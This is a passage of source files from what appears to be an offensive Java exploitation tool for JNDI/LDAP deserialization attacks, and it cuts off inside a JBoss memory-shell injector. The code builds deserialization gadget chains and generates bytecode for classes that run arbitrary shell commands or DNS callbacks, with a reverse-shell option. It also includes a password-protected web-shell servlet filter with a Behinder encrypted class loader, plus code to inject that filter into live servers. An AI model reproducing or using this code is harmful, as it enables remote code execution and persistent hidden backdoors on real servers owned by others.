    "path": "src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java",
    "content": "package com.feihong.ldap.gadgets.utils;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.template.CommandTemplate;\nimport com.feihong.ldap.template.DnslogTemplate;\nimport com.feihong.ldap.template.ReverseShellTemplate;\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport java.io.Serializable;\nimport java.lang.reflect.*;\nimport java.util.HashMap;\nimport java.util.Map;\nimport static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;\n\n/*\n * utility generator functions for common jdk-only gadgets\n */\n@SuppressWarnings ( {\n        \"restriction\", \"rawtypes\", \"unchecked\"\n} )\npublic class Gadgets {\n\n    static {\n        // special case for using TemplatesImpl gadgets with a SecurityManager enabled\n        System.setProperty(DESERIALIZE_TRANSLET, \"true\");\n\n        // for RMI remote loading\n        System.setProperty(\"java.rmi.server.useCodebaseOnly\", \"false\");\n    }\n\n    public static final String ANN_INV_HANDLER_CLASS = \"sun.reflect.annotation.AnnotationInvocationHandler\";\n\n    public static class StubTransletPayload extends AbstractTranslet implements Serializable {\n\n        private static final long serialVersionUID = -5971610431559700674L;\n\n\n        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}\n\n\n        @Override\n        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}\n    }\n\n    // required to make TemplatesImpl happy\n    public static class Foo implements Serializable {\n\n        private static final long serialVersionUID = 8207363842866235160L;\n    }\n\n\n    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {\n        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);\n    }\n\n\n    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {\n        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);\n    }\n\n\n    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {\n        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);\n        allIfaces[ 0 ] = iface;\n        if ( ifaces.length > 0 ) {\n            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);\n        }\n        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));\n    }\n\n\n    public static Map<String, Object> createMap ( final String key, final Object val ) {\n        final Map<String, Object> map = new HashMap<String, Object>();\n        map.put(key, val);\n        return map;\n    }\n\n\n    public static Object createTemplatesImpl (PayloadType type, String... param) throws Exception {\n        if ( Boolean.parseBoolean(System.getProperty(\"properXalan\", \"false\")) ) {\n            return createTemplatesImpl(\n                    type,\n                    Class.forName(\"org.apache.xalan.xsltc.trax.TemplatesImpl\"),\n                    Class.forName(\"org.apache.xalan.xsltc.runtime.AbstractTranslet\"),\n                    Class.forName(\"org.apache.xalan.xsltc.trax.TransformerFactoryImpl\"),\n                    param);\n        }\n\n        return createTemplatesImpl(type, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, param);\n    }\n\n\n    public static <T> T createTemplatesImpl (PayloadType type, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String... param)\n            throws Exception {\n        final T templates = tplClass.newInstance();\n\n//        // use template gadget class\n//        ClassPool pool = ClassPool.getDefault();\n//        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));\n//        pool.insertClassPath(new ClassClassPath(abstTranslet));\n//        final CtClass clazz = pool.get(StubTransletPayload.class.getName());\n//        // run command in static initializer\n//        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections\n//        String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"\" +\n//                command.replaceAll(\"\\\\\\\\\",\"\\\\\\\\\\\\\\\\\").replaceAll(\"\\\"\", \"\\\\\\\"\") +\n//                \"\\\");\";\n//        clazz.makeClassInitializer().insertAfter(cmd);\n//        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)\n//        clazz.setName(\"ysoserial.Pwner\" + System.nanoTime());\n//        CtClass superC = pool.get(abstTranslet.getName());\n//        clazz.setSuperclass(superC);\n\n        byte[] classBytes = null;\n        switch (type){\n            case command:\n                CommandTemplate commandTemplate = new CommandTemplate(param[0]);\n                classBytes = commandTemplate.getBytes();\n                break;\n            case dnslog:\n                DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);\n                classBytes = dnslogTemplate.getBytes();\n                break;\n            case reverseshell:\n                ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);\n                classBytes = reverseShellTemplate.getBytes();\n                break;\n            case tomcatmemshell:\n                classBytes = Cache.get(\"TomcatMemshellTemplate\");\n                break;\n            case jettymemshell:\n                classBytes = Cache.get(\"JettyMemshellTemplate\");\n                break;\n            case jbossmemshell:\n                classBytes = Cache.get(\"JBossMemshellTemplate\");\n                break;\n            case weblogicmemshell:\n                classBytes = Cache.get(\"WeblogicMemshellTemplate\");\n                break;\n            case webspherememshell:\n                classBytes = Cache.get(\"WebsphereMemshellTemplate\");\n                break;\n            case springmemshell:\n                classBytes = Cache.get(\"SpringMemshellTemplate\");\n                break;\n        }\n\n        // inject class bytes into instance\n        Reflections.setFieldValue(templates, \"_bytecodes\", new byte[][] {\n                classBytes, ClassFiles.classAsBytes(Foo.class)\n        });\n\n        // required to make TemplatesImpl happy\n        Reflections.setFieldValue(templates, \"_name\", \"Pwnr\");\n        Reflections.setFieldValue(templates, \"_tfactory\", transFactory.newInstance());\n        return templates;\n    }\n\n\n    public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,\n            IllegalAccessException, InvocationTargetException {\n        HashMap s = new HashMap();\n        Reflections.setFieldValue(s, \"size\", 2);\n        Class nodeC;\n        try {\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        }\n        catch ( ClassNotFoundException e ) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        Reflections.setAccessible(nodeCons);\n\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));\n        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));\n        Reflections.setFieldValue(s, \"table\", tbl);\n        return s;\n    }\n}\n\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java",
    "content": "package com.feihong.ldap.gadgets.utils;\n\nimport com.nqzero.permit.Permit;\nimport sun.reflect.ReflectionFactory;\nimport java.lang.reflect.AccessibleObject;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\n\n@SuppressWarnings ( \"restriction\" )\npublic class Reflections {\n\n    public static void setAccessible(AccessibleObject member) {\n        // quiet runtime warnings from JDK9+\n        Permit.setAccessible(member);\n    }\n\n    public static Field getField(final Class<?> clazz, final String fieldName) {\n        Field field = null;\n        try {\n            field = clazz.getDeclaredField(fieldName);\n            setAccessible(field);\n        }\n        catch (NoSuchFieldException ex) {\n            if (clazz.getSuperclass() != null)\n                field = getField(clazz.getSuperclass(), fieldName);\n        }\n        return field;\n    }\n\n    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n        final Field field = getField(obj.getClass(), fieldName);\n        field.set(obj, value);\n    }\n\n    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n        final Field field = getField(obj.getClass(), fieldName);\n        return field.get(obj);\n    }\n\n    public static Constructor<?> getFirstCtor(final String name) throws Exception {\n        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];\n        setAccessible(ctor);\n        return ctor;\n    }\n\n    public static Object newInstance(String className, Object ... args) throws Exception {\n        return getFirstCtor(className).newInstance(args);\n    }\n\n    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {\n        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);\n    }\n\n    @SuppressWarnings ( {\"unchecked\"} )\n    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {\n        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);\n        setAccessible(objCons);\n        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);\n        setAccessible(sc);\n        return (T)sc.newInstance(consArgs);\n    }\n\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/gadgets/utils/Util.java",
    "content": "package com.feihong.ldap.gadgets.utils;\n\npublic class Util {\n    public static byte[] deleteAt(byte[] bs, int index) {\n        int length = bs.length - 1;\n        byte[] ret = new byte[length];\n\n        if(index == bs.length - 1) {\n            System.arraycopy(bs, 0, ret, 0, length);\n        } else if(index < bs.length - 1) {\n            for(int i = index; i < length; i++) {\n                bs[i] = bs[i + 1];\n            }\n\n            System.arraycopy(bs, 0, ret, 0, length);\n        }\n\n        return ret;\n    }\n\n    public static byte[] addAtIndex(byte[] bs, int index, byte b) {\n        int length = bs.length + 1;\n        byte[] ret = new byte[length];\n\n        System.arraycopy(bs, 0, ret, 0, index);\n        ret[index] = b;\n        System.arraycopy(bs, index, ret, index + 1, length - index - 1);\n\n        return ret;\n    }\n\n    public static byte[] addAtLast(byte[] bs, byte b) {\n        int length = bs.length + 1;\n        byte[] ret = new byte[length];\n\n        System.arraycopy(bs, 0, ret, 0, length-1);\n        ret[length - 1] = b;\n\n        return ret;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/CommandTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org.objectweb.asm.*;\nimport static org.objectweb.asm.Opcodes.*;\n\npublic class CommandTemplate implements Template{\n    private String className;\n    private byte[] bytes;\n    private String cmd;\n\n    public CommandTemplate(String cmd){\n        this.cmd = cmd;\n        this.className = \"Exploit\" + Util.getRandomString();\n\n        generate();\n    }\n\n    public CommandTemplate(String cmd, String className){\n        this.cmd = cmd;\n        this.className = className;\n\n        generate();\n    }\n\n    public void cache(){\n        Cache.set(className, bytes);\n    }\n\n    public String getClassName(){\n        return className;\n    }\n\n    public byte[] getBytes(){\n        return bytes;\n    }\n\n    public void generate(){\n        ClassWriter cw = new ClassWriter(0);\n        FieldVisitor fv;\n        MethodVisitor mv;\n        AnnotationVisitor av0;\n\n        cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", null);\n\n        {\n            fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, \"cmd\", \"Ljava/lang/String;\", null, null);\n            fv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"<init>\", \"()V\", null, null);\n            mv.visitCode();\n            Label l0 = new Label();\n            Label l1 = new Label();\n            Label l2 = new Label();\n            mv.visitTryCatchBlock(l0, l1, l2, \"java/io/IOException\");\n            mv.visitVarInsn(ALOAD, 0);\n            mv.visitMethodInsn(INVOKESPECIAL, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", \"<init>\", \"()V\", false);\n            mv.visitFieldInsn(GETSTATIC, \"java/io/File\", \"separator\", \"Ljava/lang/String;\");\n            mv.visitLdcInsn(\"/\");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/String\", \"equals\", \"(Ljava/lang/Object;)Z\", false);\n            Label l3 = new Label();\n            mv.visitJumpInsn(IFEQ, l3);\n            mv.visitInsn(ICONST_3);\n            mv.visitTypeInsn(ANEWARRAY, \"java/lang/String\");\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_0);\n            mv.visitLdcInsn(\"/bin/sh\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_1);\n            mv.visitLdcInsn(\"-c\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_2);\n            mv.visitFieldInsn(GETSTATIC, className, \"cmd\", \"Ljava/lang/String;\");\n            mv.visitInsn(AASTORE);\n            mv.visitVarInsn(ASTORE, 1);\n            mv.visitJumpInsn(GOTO, l0);\n            mv.visitLabel(l3);\n            mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {});\n            mv.visitInsn(ICONST_3);\n            mv.visitTypeInsn(ANEWARRAY, \"java/lang/String\");\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_0);\n            mv.visitLdcInsn(\"cmd\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_1);\n            mv.visitLdcInsn(\"/C\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_2);\n            mv.visitFieldInsn(GETSTATIC, className, \"cmd\", \"Ljava/lang/String;\");\n            mv.visitInsn(AASTORE);\n            mv.visitVarInsn(ASTORE, 1);\n            mv.visitLabel(l0);\n            mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {\"[Ljava/lang/String;\"}, 0, null);\n            mv.visitMethodInsn(INVOKESTATIC, \"java/lang/Runtime\", \"getRuntime\", \"()Ljava/lang/Runtime;\", false);\n            mv.visitVarInsn(ALOAD, 1);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/Runtime\", \"exec\", \"([Ljava/lang/String;)Ljava/lang/Process;\", false);\n            mv.visitInsn(POP);\n            mv.visitLabel(l1);\n            Label l4 = new Label();\n            mv.visitJumpInsn(GOTO, l4);\n            mv.visitLabel(l2);\n            mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {\"java/io/IOException\"});\n            mv.visitVarInsn(ASTORE, 2);\n            mv.visitVarInsn(ALOAD, 2);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/io/IOException\", \"printStackTrace\", \"()V\", false);\n            mv.visitLabel(l4);\n            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(4, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[] { \"com/sun/org/apache/xalan/internal/xsltc/TransletException\" });\n            mv.visitCode();\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(0, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[] { \"com/sun/org/apache/xalan/internal/xsltc/TransletException\" });\n            mv.visitCode();\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(0, 4);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_STATIC, \"<clinit>\", \"()V\", null, null);\n            mv.visitCode();\n            mv.visitLdcInsn(cmd);\n            mv.visitFieldInsn(PUTSTATIC, className, \"cmd\", \"Ljava/lang/String;\");\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(1, 0);\n            mv.visitEnd();\n        }\n        cw.visitEnd();\n        bytes = cw.toByteArray();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/DnslogTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org.objectweb.asm.*;\n\nimport static org.objectweb.asm.Opcodes.*;\n\npublic class DnslogTemplate implements Template {\n    private String className;\n    private byte[] bytes;\n    private String dnslog;\n\n\n    public DnslogTemplate(String dnslog){\n        this.dnslog = dnslog;\n        this.className = \"Exploit\" + Util.getRandomString();\n\n        generate();\n    }\n\n    public DnslogTemplate(String dnslog, String className){\n        this.dnslog = dnslog;\n        this.className = className;\n\n        generate();\n    }\n\n    public void cache(){\n        Cache.set(className, bytes);\n    }\n\n    public String getClassName(){\n        return className;\n    }\n\n    public byte[] getBytes(){\n        return bytes;\n    }\n\n    public void generate(){\n        ClassWriter cw = new ClassWriter(0);\n        FieldVisitor fv;\n        MethodVisitor mv;\n        AnnotationVisitor av0;\n\n        cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", null);\n\n        {\n            fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, \"dnslog\", \"Ljava/lang/String;\", null, null);\n            fv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"<init>\", \"()V\", null, null);\n            mv.visitCode();\n            Label l0 = new Label();\n            Label l1 = new Label();\n            Label l2 = new Label();\n            mv.visitTryCatchBlock(l0, l1, l2, \"java/io/IOException\");\n            mv.visitVarInsn(ALOAD, 0);\n            mv.visitMethodInsn(INVOKESPECIAL, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", \"<init>\", \"()V\", false);\n            mv.visitFieldInsn(GETSTATIC, \"java/io/File\", \"separator\", \"Ljava/lang/String;\");\n            mv.visitLdcInsn(\"/\");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/String\", \"equals\", \"(Ljava/lang/Object;)Z\", false);\n            Label l3 = new Label();\n            mv.visitJumpInsn(IFEQ, l3);\n            mv.visitTypeInsn(NEW, \"java/lang/StringBuilder\");\n            mv.visitInsn(DUP);\n            mv.visitMethodInsn(INVOKESPECIAL, \"java/lang/StringBuilder\", \"<init>\", \"()V\", false);\n            mv.visitLdcInsn(\"ping -c 1 \");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"append\", \"(Ljava/lang/String;)Ljava/lang/StringBuilder;\", false);\n            mv.visitFieldInsn(GETSTATIC, className, \"dnslog\", \"Ljava/lang/String;\");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"append\", \"(Ljava/lang/String;)Ljava/lang/StringBuilder;\", false);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"toString\", \"()Ljava/lang/String;\", false);\n            mv.visitVarInsn(ASTORE, 1);\n            mv.visitJumpInsn(GOTO, l0);\n            mv.visitLabel(l3);\n            mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {});\n            mv.visitTypeInsn(NEW, \"java/lang/StringBuilder\");\n            mv.visitInsn(DUP);\n            mv.visitMethodInsn(INVOKESPECIAL, \"java/lang/StringBuilder\", \"<init>\", \"()V\", false);\n            mv.visitLdcInsn(\"nslookup \");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"append\", \"(Ljava/lang/String;)Ljava/lang/StringBuilder;\", false);\n            mv.visitFieldInsn(GETSTATIC, className, \"dnslog\", \"Ljava/lang/String;\");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"append\", \"(Ljava/lang/String;)Ljava/lang/StringBuilder;\", false);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/StringBuilder\", \"toString\", \"()Ljava/lang/String;\", false);\n            mv.visitVarInsn(ASTORE, 1);\n            mv.visitLabel(l0);\n            mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {\"java/lang/String\"}, 0, null);\n            mv.visitMethodInsn(INVOKESTATIC, \"java/lang/Runtime\", \"getRuntime\", \"()Ljava/lang/Runtime;\", false);\n            mv.visitVarInsn(ALOAD, 1);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/Runtime\", \"exec\", \"(Ljava/lang/String;)Ljava/lang/Process;\", false);\n            mv.visitInsn(POP);\n            mv.visitLabel(l1);\n            Label l4 = new Label();\n            mv.visitJumpInsn(GOTO, l4);\n            mv.visitLabel(l2);\n            mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {\"java/io/IOException\"});\n            mv.visitVarInsn(ASTORE, 2);\n            mv.visitVarInsn(ALOAD, 2);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/io/IOException\", \"printStackTrace\", \"()V\", false);\n            mv.visitLabel(l4);\n            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(2, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[] { \"com/sun/org/apache/xalan/internal/xsltc/TransletException\" });\n            mv.visitCode();\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(0, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[] { \"com/sun/org/apache/xalan/internal/xsltc/TransletException\" });\n            mv.visitCode();\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(0, 4);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_STATIC, \"<clinit>\", \"()V\", null, null);\n            mv.visitCode();\n            mv.visitLdcInsn(dnslog);\n            mv.visitFieldInsn(PUTSTATIC, className, \"dnslog\", \"Ljava/lang/String;\");\n            mv.visitInsn(RETURN);\n            mv.visitMaxs(1, 0);\n            mv.visitEnd();\n        }\n        cw.visitEnd();\n        bytes = cw.toByteArray();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport sun.misc.BASE64Decoder;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.servlet.*;\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.File;\nimport java.io.IOException;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class DynamicFilterTemplate implements Filter {\n\n    private Class myClassLoaderClazz;\n    private String basicCmdShellPwd = \"pass\";\n    private String behinderShellHeader = \"X-Options-Ai\";\n    private String behinderShellPwd = \"e45e329feb5d925b\"; // rebeyond\n\n    public DynamicFilterTemplate(){\n        super();\n        initialize();\n    }\n\n    @Override\n    public void init(FilterConfig filterConfig) throws ServletException {\n\n    }\n\n    @Override\n    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n        System.out.println(\"[+] Dynamic Filter says hello\");\n\n\n        if(servletRequest.getParameter(\"type\") != null && servletRequest.getParameter(\"type\").equals(\"basic\")){\n            //basic cmd shell\n            String cmd = servletRequest.getParameter(basicCmdShellPwd);\n            if(cmd != null && !cmd.isEmpty()){\n                String[] cmds = null;\n                if(File.separator.equals(\"/\")){\n                    cmds = new String[]{\"/bin/sh\", \"-c\", cmd};\n                }else{\n                    cmds = new String[]{\"cmd\", \"/C\", cmd};\n                }\n                String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n                servletResponse.getWriter().println(result);\n            }\n        }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){\n            //behind3 shell\n            try{\n                if (((HttpServletRequest)servletRequest).getMethod().equals(\"POST\")){\n                    String k = behinderShellPwd;\n                    ((HttpServletRequest)servletRequest).getSession().setAttribute(\"u\",k);\n                    Cipher cipher = Cipher.getInstance(\"AES\");\n                    cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute(\"u\") + \"\").getBytes(), \"AES\"));\n                    byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));\n                    Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod(\"defineClass\", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());\n                    Object evilObject = evilClass.newInstance();\n                    Method targetMethod = evilClass.getDeclaredMethod(\"equals\", new Class[]{ServletRequest.class, ServletResponse.class});\n                    targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});\n                }\n            }catch(Exception e){\n                e.printStackTrace();\n            }\n        }else{\n            filterChain.doFilter(servletRequest, servletResponse);\n        }\n    }\n\n    @Override\n    public void destroy() {\n\n    }\n\n    private void initialize(){\n        try{\n            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n            try{\n                this.myClassLoaderClazz = classLoader.loadClass(\"com.feihong.ldap.template.MyClassLoader\");\n            } catch (ClassNotFoundException e) {\n                Class clazz = classLoader.getClass();\n                Method method = null;\n                while(method == null && clazz != Object.class){\n                    try{\n                        method = clazz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                    }catch(NoSuchMethodException ex){\n                        clazz = clazz.getSuperclass();\n                    }\n                }\n\n                String code = \"yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=\";\n                byte[] bytes = new BASE64Decoder().decodeBuffer(code);\n                method.setAccessible(true);\n                this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);\n            }\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        } catch (IOException e) {\n            e.printStackTrace();\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport io.undertow.servlet.api.DeploymentInfo;\nimport io.undertow.servlet.api.FilterInfo;\nimport io.undertow.servlet.core.DeploymentImpl;\nimport io.undertow.servlet.spec.HttpServletRequestImpl;\nimport io.undertow.servlet.util.ConstructorInstanceFactory;\nimport sun.misc.BASE64Decoder;\nimport javax.security.jacc.PolicyContext;\nimport javax.servlet.DispatcherType;\nimport javax.servlet.Filter;\nimport javax.servlet.ServletContext;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.Map;\n\npublic class JBossMemshellTemplate extends AbstractTranslet {\n\n    public JBossMemshellTemplate(){\n        try{\n            String filterName = \"dynamicFilter\";\n            String urlPattern = \"/*\";\n\n            HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext(\"javax.servlet.http.HttpServletRequest\");\n            ServletContext context = request.getServletContext();\n            Field f = context.getClass().getDeclaredField(\"deploymentInfo\");\n            f.setAccessible(true);\n            DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context);\n\n            //只添加一次\n            Map<String, FilterInfo> filters = deploymentInfo.getFilters();\n            if(!filters.containsKey(filterName)){\n                System.out.println(\"[+] Add Dynamic Filter\");\n\n                ClassLoader cl = Thread.currentThread().getContextClassLoader();\n                Class clazz;\n                try{\n                    clazz = cl.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n                